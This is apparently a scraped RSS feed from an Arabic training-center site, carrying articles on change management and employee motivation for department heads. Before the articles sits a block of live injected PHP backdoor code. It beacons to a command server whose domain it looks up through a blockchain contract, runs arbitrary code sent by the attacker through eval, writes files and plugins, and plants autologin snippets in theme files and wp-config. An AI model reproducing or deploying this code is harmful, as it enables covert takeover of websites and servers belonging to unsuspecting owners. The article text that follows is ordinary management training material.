// 1h_1p if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home4/camecenter/cameknowledge.camecenter.com/wp-content/plugins/wp-helper-bf0fce/wp-helper-bf0fce.php', 'ctrl'=>'// 1h_1p', 'vis'=>'// st_3y', 'vis_func'=>'wp_dg1657', 'vis_paths'=>array('/home4/camecenter/cameknowledge.camecenter.com/wp-content/plugins/wp-helper-bf0fce/wp-helper-bf0fce.php'), 'opt'=>'_wp_7hsqajid', ); $keys=array(); $keys['id']='fj1'; $keys['ver']='1q'; $keys['caps']='tle'; $keys['tasks']='l7z'; $keys['interval']='bbw'; $keys['ack_id']='cxz'; $keys['ok']='9w'; $keys['detail']='voi'; $keys['inv']='5jq'; $keys['result']='f34'; $hdr='X-B1W-Auth';$tok='XedrlORYVlRrR6u98I3prggq7ZR1j5tnIRsfGTzBTyM';$id='5394ed6b3f3ab399';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); رؤساء الاقسام Archives - CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات موسوعة مركز كيم لتنمية المهارات و القدرات Sun, 30 Jul 2023 15:46:24 +0000 ar hourly 1 https://wordpress.org/?v=6.3.12 سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام – إعداد/ مركز كيم – المقالة الثامنة https://cameknowledge.camecenter.com/articles/administrative_skills_for_heads_of_departments-8/ https://cameknowledge.camecenter.com/articles/administrative_skills_for_heads_of_departments-8/#respond Fri, 07 Apr 2023 14:50:06 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10418 سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام إعداد/ مركز كيم  المقالة الثامنة إدارة التغيير ومهارات مواجهة مقاومة التغيير ماهية التغيير التنظيمي : ==============       يقصد بالتغيير التنظيمي التحول من حالة توازن معينة تمر بها المنظمة في ظل ظروف بيئية معينة- ثقافية واقتصادية واجتماعية وتكنولوجية – إلى حالة أخرى من التوازن ، نتيجة التغير في مركب […]

The post سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام – إعداد/ مركز كيم – المقالة الثامنة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام

إعداد/ مركز كيم 

المقالة الثامنة

إدارة التغيير ومهارات مواجهة مقاومة التغيير

ماهية التغيير التنظيمي :

============== 

     يقصد بالتغيير التنظيمي التحول من حالة توازن معينة تمر بها المنظمة في ظل ظروف بيئية معينة- ثقافية واقتصادية واجتماعية وتكنولوجية – إلى حالة أخرى من التوازن ، نتيجة التغير في مركب الظروف البيئية المحيطة .

     وقد يكون التغيير عشوائي : ويقصد به أن يتم التغيير دون تدخل من قبل الإدارة في المنظمة ، ويطلق عليه في هذه الحالة التغير . وقد يكون التغيير مخطط : ويقصد به حالة التحول من توازن معين إلى حالة أخرى من التوازن في ظل تدخل وتحكم الإدارة في مساره ، والتطوير التنظيمي يدخل ضمن هذا النوع من أنواع التغيير .

  إن عملية التطوير التنظيمي تستهدف بالدرجة الأولى تحقيق المستوى الأمثل للأداء عن طريق الاستغلال الأمثل لقدرات الأفراد وطاقاتهم الكامنة وبالتالي فهي عملية سلوكية . كما أن عملية التطوير التنظيمي تسعى إلى زيادة الفعالية التنظيمية من خلال تنمية وتطوير حاجات الأفراد ومهاراتهم وقدراتهم ومعارفهم بما يتوافق مع الأهداف التنظيمية باستخدام معارف وأساليب العلوم السلوكية .

     وعليه يمكن تعريف التطوير التنظيمي على أنه :  جهود مخططة ومدروسة تقوم بها إدارة المنظمة بهدف تغيير وتطوير سلوك العاملين من خلال التأثير في معارفهم وقدراتهم ومهاراتهم ، ومن خلال تغيير التكنولوجيا المستخدمة وكذلك العمليات والهياكل التنظيمية بما يخدم استمرارية التنظيم وتحقيق أهدافه .

 

الحقائق الأساسية حول التغيير :

==================

  • أنه جهد مدروس ومخطط لفترة زمنية طويلة .
  • ينطوي على إستراتيجيات محددة ذات أهداف واضحة ومفهومة .
  • يتم من خلال التأثير في المعتقدات والقيم التنظيمية ، والإتجاهات والسلوك التنظيمي ، وسياسات وأساليب الأداء .
  • ينصب على : الفرد – الجماعة – الثقافة التنظيمية – الهيكل التنظيمي – إجراءات وقواعد العمل – الإستراتيجيات والسياسات ..
  • قبوله ودعمه من جانب الذين سوف يتأثرون به شرط أساسي من شروط نجاحه وإستمراره .
  • يحتاج إلى قيادة غير تقليدية موجهة بالتغيير والتطوير وتشجيع الإبداع.

 

الأسباب الجوهرية لحتمية التطوير التنظيمي :

=========================

  • التغير المستمر في البيئية المحيطة .
  • التغيير في إستراتيجية المنظمة وأهدافها .
  • أسباب فنية أو تكنولوجية .
  • أسباب ترجع إلى الهيكل التنظيمي للمنظمة .
  • أسباب نفسية .
  • أسباب إدارية .

  

أهداف التغيير والتطوير التنظيمي :

=====================

  • تنمية قدرة المنظمة على التكيف مع بيئتها .
  • جعل المنظمة أكثر قابلية للتكيف مع البيئة الحالية أو المتوقعة .
  • إحداث تغيير في معارف ومهارات واتجاهات الأفراد وكذلك التغيير في تصميم الوظائف وهيكل المنظمة .
  • الارتقاء بمستوى الفعالية التنظيمية للمنظمة من خلال تحقيق قدر أكبر من التكامل بين الأهداف الفردية والأهداف التنظيمية .
  • إشاعة جو من الثقة بين الأفراد في المستويات الإدارية المختلفة داخل التنظيم .
  • إيجاد علاقات تبادلية وتكاملية بين الأفراد فيما بينهم البعض وبين الأفراد والجماعات ،..وتشجيع روح المنافسة مع العمل بروح الفريق مما يزيد من الفعالية بشكل عام .
  • مساعدة القائمين بالوظائف الإشرافية على تبنى أساليب إدارية تتسم بدرجة عالية من المشاركة من جانب المرؤوسين مثل الإدارة بالأهداف بدلا من الإدارة بالأزمات.
  • إيجاد الرقابة الذاتية لدى الأفراد والاعتماد عليها كأساس وكبديل للرقابة الخارجية .

 

المراحل العشرة لإدارة التغيير والتطوير في التطبيق العملي

==============================

أولا : توصيف وتشخيص الوضع الحالي

        وفي هذه المرحلة يتم تحديد :

  • مجالات القوة ومجالات الضعف في المنظمة .
  • الفرص والتهديدات في البيئة المحيطة .
  • الفجوات بين ماهو كائن وما يجب أن يكون .
  • تصور مبدئ للمشكلة وأعراضها .

ثانيا : دراسة وتحليل المشكلة ( الموقف الحالي )

ثالثا : تحديد مجالات التغيير والتطوير .

رابعا : وضع خطة التغيير والتطوير وأهدافها .

خامسا : مراجعة خطة التغيير والتطوير مع المسئولين في المنظمة ، وإدخال التعديلات المناسبة .

سادسا : تحديد المتطلبات اللازمة لتنفيذ خطة التغيير والتطوير (مالية/بشرية/قانونية/إدارية )

سابعا : التمهيد لتنفيذ خطة التغيير والتغلب على المقاومة من قبل التنظيمات الرسمية وغير الرسمية ، والعمل على خلق مناخ تنظيمي مواتي للتغيير.

ثامنا : وضع نظام الأولويات لتنفيذ خطة التغيير

      ووضع الجداول الزمنية المناسبة ، وإعتمادها من الإدارة العليا .

تاسعا  : تصميم مؤشرات تقييم الأداء الكمية والنوعية للمشروعات الخاصة بالتطوير أثناء وبعد التنفيذ .

عاشراًً :البدء في تنفيذ خطة التطوير مع متابعة التنفيذ والتقييم على أسس موضوعية وواقعية .

 

المصادر أو القوى الدافعة لإحداث التغيير

=======================

أولا : المصادر أو القوى الخارجية :

  • القوى التشريعية .
  • القوى الإجتماعية .
  • القوى التكنولوجية .
  • القوى الإقتصادية .
  • القوى الطبيعية .

 

تابع :المصادر أو القوى الدافعة لإحداث التغيير

=======================

ثانيا : المصادر أو القوى الداخلية :

  • الصراعات الداخلية .
  • إنخفاض مستوى الأداء .
  • تفشى حالات اللامبالة وعدم الإنتماء بين العاملين في المنظمة .
  • تقادم التكنولوجيا المستخدمة .
  • تعقد إجراءات وطرق العمل .
  • وجود خلل في الهيكل التنظيمي الحالي .

 

أسباب مقاومة الأفراد للتطوير/التغيير  .

========================

   نورد فيما يلي بعض المسببات التي تدفع العاملين لمقاومة التطوير أو التغيير :

  • الخوف من الخسارة المادية : هناك احتمال لمقاومة أي تغيير ينشأ عنه الشعور بإمكانية إلغاء بعض الوظائف وتسريح العاملين فيها مؤقتا أو إنهاء خدماتهم .

2- الخوف من زيادة عبء العمل . حيث يعتقد الكثير من العاملين بأن التغيير سيصحبه بالضرورة إدخال أساليب عمل ذات تقنية متقدمة ، الأمر الذي سيترتب عليه زيادة المجهود الذهني والعضلي الذي سيقومون به .

3- تخفيض مكانة العامل لدى الإدارة . حيث يسود شعور لدى العاملين بأن التطوير سوف يترتب عليه إدخال آلات ومعدات ذات تقنية عالية ولها معدلات إنتاج مرتفعة .

4-  نقل بعض العاملين وما يسببه من اختلال الروابط الاجتماعية بينهم . 

5- إرباك الوضع القائم : قد يؤدى استخدام أسلوب جديد لأداء العمل ، أو استعمال معدة جديدة ترفع كفاية الإنتاج إلى إرباك الطريقة العادية التي يؤدى بها العمل . وبما أن الطريقة الروتينية التي يؤدي بها العمل عادة ما تصبح جزءاً من روتين العمل . فإن أي تغيير يتعارض مع أسلوب العمل العادي ستتم مقاومته .

 

6- الخوف من المجهول .

ولاشك أن المخاوف السابقة قد يكون بعضها حقيقي بمعنى أنه سيقع بالفعل والبعض الآخر غير حقيقي بل على العكس من ذلك سيكون للتغيير الكثير من المزايا التي سيستفيد منها العاملين أنفسهم . ومن هنا يبرز دور الإدارة في ابتكار واستخدام الطرق والأساليب التي يمكن من شأنها أن تعمل على القضاء على مقاومة العاملين للتغيير أو التخفيف من شدتها .

 

5/2 مقاومة الجماعات داخل المنظمة للتغيير .

 

     توجد داخل أي منظمة من المنظمات العديد من الجماعات سواء كانت تلك الجماعات رسمية – معترف بها من قبل إدارة المنظمة وموجودة على الهيكل التنظيمي – أو غير رسمية – غير معترف بها من قبل إدارة المنظمة وغير موجودة على الهيكل التنظيمي للمنظمة .

     وتصنع الجماعات معايير للسلوك والأداء تبلغ لجميع الأعضاء مع توضيح حدود التصرفات المتوقعة منهم . ومن الممكن أن يؤدى عدم الالتزام بهذه المعايير إلى نبذ العضو من الجماعة ، وكلما كانت الجماعة  أكثر قربا والتحاما بأعضائها ، كلما تضاعف التأثير الذي يمكن أن تمارسه على أعضائها . وعادة ما تكون الجماعة جذابة بالقدر الذي يشبع حاجات أعضائها . فإذا ما أدخلت الإدارة تغييرات اعتبرتها الجماعة تهديدا لمبادئها أصبح من المرجح مقاومة هذه التغييرات . وكلما زادت درجة تماسك الجماعة كلما كبرت مقاومتها للتغيير .

 

 طرق معالجة مقاومة التغيير .

==================

فيما يلي عددا من الطرق أو الأساليب التي يمكن استخدامها لمعالجة مقاومة العاملين للتغيير ومزايا وعيوب كل طريقة والمواقف التي تستخدم فيها :

1- الاتصال بالعاملين وإحاطتهم علما بأسباب التغيير وأهدافه : والميزة الأساسية لهذا الأسلوب تكمن في أن إحاطة الأفراد العاملين بالمنظمة علما بالجوانب أو العناصر التي ستتضمنها عملية التغيير – سواء أكانت تلك الجوانب تتعلق بالهيكل التنظيمي ، أو بأساليب العمل ، أو بالأفراد أنفسهم ،….- وكذلك إحاطتهم علما بأهم المزايا التي ستتحقق من جراء ذلك تجعلهم يقتنعون بعملية التغيير ويساعدون في تسهيل وتيسير عمليات التنفيذ. إلا أنه من الممكن أن يستغرق هذا الأسلوب وقتا طويلا خاصة إذا كان عدد الأفراد المعنيين بالتغيير كبيرا .

 

2-  مشاركة العاملين في عملية التغيير ويستخدم هذا الأسلوب عندما يكون المكلفون من رجال الإدارة أو المبادرون بعملية التغيير لا تتوافر لديهم المعلومات الكافية للتخطيط للقيام بالتغيير .

     ففي هذه الحالة يكون من المناسب مشاركة العاملين والاستفادة من خبراتهم في هذا الشأن وبالتالي سيكونون ملتزمين بتنفيذ التغيير وتضمين كل المعلومات ذات العلاقة التي يملكونها في خطة التغيير . وما يؤخذ على هذا الأسلوب أنه من الممكن أن يكون مضيعة للوقت خاصة إذا ما قام المشاركون بتخطيط تغيير لا يتلاءم وحاجة المنظمة .

 

3-  التفاوض مع المتأثرين بعملية التغيير وهذا الأسلوب من الأساليب التي يمكن أن تستخدمها الإدارة لمعالجة مقاومة العاملين للتغيير ، ويقضي بأن يتم التفاوض بين الإدارة والعاملين بشأن عدد من القضايا المترتبة على التغيير والاتفاق على زيادة مزايا المعاش المبكر ، ومكافآت ترك الخدمة وتحسين الخدمات الطبية 00الخ .

     ويعتبر هذا الأسلوب سهلا نسبيا لتفادى قدر كبير من المقاومة من جانب العاملين ، إلا أنه من الممكن أن يكون مكلفا خاصة في الحالات التي تتزايد فيها مطالب العاملين كشرط لقبول التغيير والتواكب معه .

 

المناورة والاستقطاب ويستخدم هذا الأسلوب عندما تفشل الأساليب الأخرى أو تكون عالية التكلفة ، وتتمثل الميزة الأساسية لهذا الأسلوب في أنه من الممكن أن يكون حلا عمليا وغير مكلف نسبيا لمشكلات مقاومة العاملين للتغيير . إلا أنه يجب التعامل مع هذا الأسلوب بحذر لأنه يمكن أن يحدث مشكلات كثيرة في المستقبل عندما يشعر العاملين بأنهم يستغلون أو يستخف بهم .

 

التخويف الصريح أو الضمني وتلجأ الإدارة إلى استخدام هذا الأسلوب كأسلوب من أساليب معالجة مقاومة العاملين للتغيير عندما يكون هناك حاجة للإسراع بالتغيير وعندما تتوافر للقائمين على عملية التغيير سلطات واسعة . ويؤدى استخدام هذا الأسلوب إلى إتمام عملية التغيير بسرعة فضلا عن إمكانية التغلب على أي نوع من أنواع المقاومة ، إلا أن هذا الأسلوب قد ينتج عنه العديد من المخاطر خاصة إذا ما ترتب عليه هياج وإثارة العاملين على القائمين على التغيير .

انتهت بحمد الله مقالات مسار كيم التعليمى للمهارات الإدارية لرؤساء الأقسام

إعداد / مركز كيم

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام – إعداد/ مركز كيم – المقالة الثامنة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/administrative_skills_for_heads_of_departments-8/feed/ 0 سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام – إعداد/ مركز كيم – المقالة السابعة https://cameknowledge.camecenter.com/articles/administrative_skills_for_heads_of_departments-7/ https://cameknowledge.camecenter.com/articles/administrative_skills_for_heads_of_departments-7/#respond Fri, 07 Apr 2023 14:45:10 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10416 سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام إعداد/ مركز كيم  المقالة السابعة دور رئيس القسم في رفع كفاءة العاملين وتحفيزهم الدوافع هي : ====== عبارة عن مجموعة من القوى توجد داخل الفرد تثير السلوك وتحركه في اتجاه معين لتحقيق هدف أو أهداف معينة . الدوافع  : تثير السلوك وتحركه وتعمل على استمراريته وايقافه . كما […]

The post سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام – إعداد/ مركز كيم – المقالة السابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام

إعداد/ مركز كيم 

المقالة السابعة

دور رئيس القسم في رفع كفاءة العاملين وتحفيزهم

الدوافع هي :

======

عبارة عن مجموعة من القوى توجد داخل الفرد تثير السلوك وتحركه في اتجاه معين لتحقيق هدف أو أهداف معينة .

الدوافع  : تثير السلوك وتحركه وتعمل على استمراريته وايقافه .

كما أن الدوافع تفسر أسباب التفاعلات الإجتماعية بين الأفراد .

 

 أهمية دراسة دوافع السلوك .

 ================

1- تحقيق الاستفادة المثلى من الكفاءات البشرية الموجودة بالمنظمة ، وما يرتبط بذلك من حسن استغلال الإمكانات المادية المتاحة .

2- في العصر الحالي لم يعد التحفيز المادي هو الدافع الوحيد الذي يؤثر في سلوك العاملين ويدفعهم إلى العمل ، بل أصبح من الضروري استخدام أنواع أخرى عديدة من الحوافز لإشباع حاجات العاملين مثل : الترقية ، التقدير ، الإنجاز ، التحدي في الوظيفة ، . . .

3- معرفة القوى أو الأسباب التي تجعل الفرد يزيد من إنتاجيته أحيانا ، ويقلل من الإنتاجية في مرات كثيرة أخرى

4- معرفة ماذا يدفع الفرد للتفاعل مع الأفراد الآخرين أو الجماعات الأخرى أو البيئة المحيطة .

 

 نموذج أساسي للدافعية .

==============

أنواع الدوافع :

========

1- نظرية الغرائز لمكدوجال :

     تنقسم الغرائز – طبقا لهذه النظرية – إلى مجموعتين رئيسيتين هما :

أ- مجموعة الغرائز الفردية : وهى متعددة ومن أمثلتها غريزة البحث عن الطعام وتنبع من الشعور بالجوع ، وغريزة التملك وهى تنبع من لذة التملك لدى الفرد ، وغريزة الاستغاثة وانفعالها الشعور بالعجز ، وغريزة الهروب نتيجة الشعور بالخوف ، وغريزة الضحك وانفعالها المرح ، . . . .

ب- مجموعة الغرائز الاجتماعية : ومن أمثلة تلك الغرائز الاجتماعية الغريزة الجنسية والاستفادة تثار من خلال الشهوة ، وغريزة الوالدية ، وغريزة السيطرة ، وغريزة المقاتلة ، وغريزة التجمع ، . . .

 

2- نظرية الحاجات لمازلو :

     اقترح مازلو في نظريته خمس فئات للحاجات تمثل ترتيب الأهمية بالنسبة للفرد ، تم تحديدها على النحو التالي :

1- الحاجات الفسيولوجية           Physiological Needs             

2- حاجات الأمان والسلامة                   Safety Needs      

3- الحاجات الاجتماعية     Social Needs                                     

4- حاجات التقدير والإحترام   Esteem Needs                             

5- حاجات تأكيد الذات      Self Actualization Needs                  

 

 3- نظرية دافع الإنجاز لماكيلاند:

يمكن عرض أهم الافتراضات التي تقوم عليها هذه النظرية على النحو التالي :

1- يقصد بدافع الإنجاز : رغبة الفرد في أداء الأعمال التي توكل إليه بشكل جيد خلافا للأفراد العاديين .

2- أن دافع الإنجاز يعتبر من الدوافع المتعلمة ، ويقصد بالدوافع المتعلمة تلك الدوافع التي تتكون لدى الفرد بمرور الزمن في ضوء الخبرات والتجارب التي يمر بها ويتعلم منها .

3- يتميز ذوى الإنجاز العالي بخصائص تختلف تماما عن ذوى الإنجاز المنخفض ، أهمها ما يلي :

أ – يميل ذوى الإنجاز العالي إلى تحمل المخاطرة المتوسطة ، ويقصد بالمخاطرة المتوسطة هي تلك الدرجة من المخاطرة التي قد تكون مناسبة لحجم أو نوعية قدرات الفرد .

     ب- يميل ذوى دافع الإنجاز العالي إلى اختيار الأعمال التي تعطيهم أكبر قدر ممكن من المعلومات عن مدى إنجازهم ومدى تحقيقهم للأهداف .

     جـ- يميل ذوى دافع الإنجاز العالي إلى اختيار تلك الأعمال التي توفر لهم الشعور بالتقدير نتيجة إتمام العمل بفعالية ، فضلا عن أنهم يحبون الحصول على أموال وعوائد مادية مرتفعة . إلا أنهم يكسبونها ليس لذاتها ، وإنما لشعورهم بأنه هي التقدير والمقياس الذي يمكن استخدامه لمعرفة مدى إتمامهم العمل بنجاح .

     د – يحددون أهدافهم بأنفسهم وقليلا ما يأخذون بمشورة الآخرين ونصحهم.

     هـ- يتميزون بالجدية والمثابرة في أداء الأعمال ، ويحرصون على معرفة ردود فعل إنجازاتهم من الآخرين . 

الاستفادة من نظرية دافع الإنجاز لماكيلاند في التطبيق الإداري :

     يمكن الاستفادة من الأسس والمبادئ التي تقوم عليها نظرية دافع الإنجاز في العديد من مجالات التطبيق الإداري ، نذكر منها على سبيل المثال :-

1- يمكن للإدارة أن تقوم بوضع الأفراد الذين يتمتعون بإنجاز عال في وظائف حساسة تتطلب المزيد من الإنجاز ، وبالتالي يتحقق لهؤلاء الأفراد الإشباع اللازم وفى نفس الوقت تحقق المنظمة أهدافها على أكمل وجه .

2- يمكن من خلال توفير ظروف عمل تشابه الخصائص المشار إليها بعاليه ، مساعدة ذوى دافع الإنجاز العالي من إبراز طاقاتهم وقدراتهم واستغلال خبراتهم بالشكل الذي يحقق فعالية العمل ويفيدهم شخصيا .

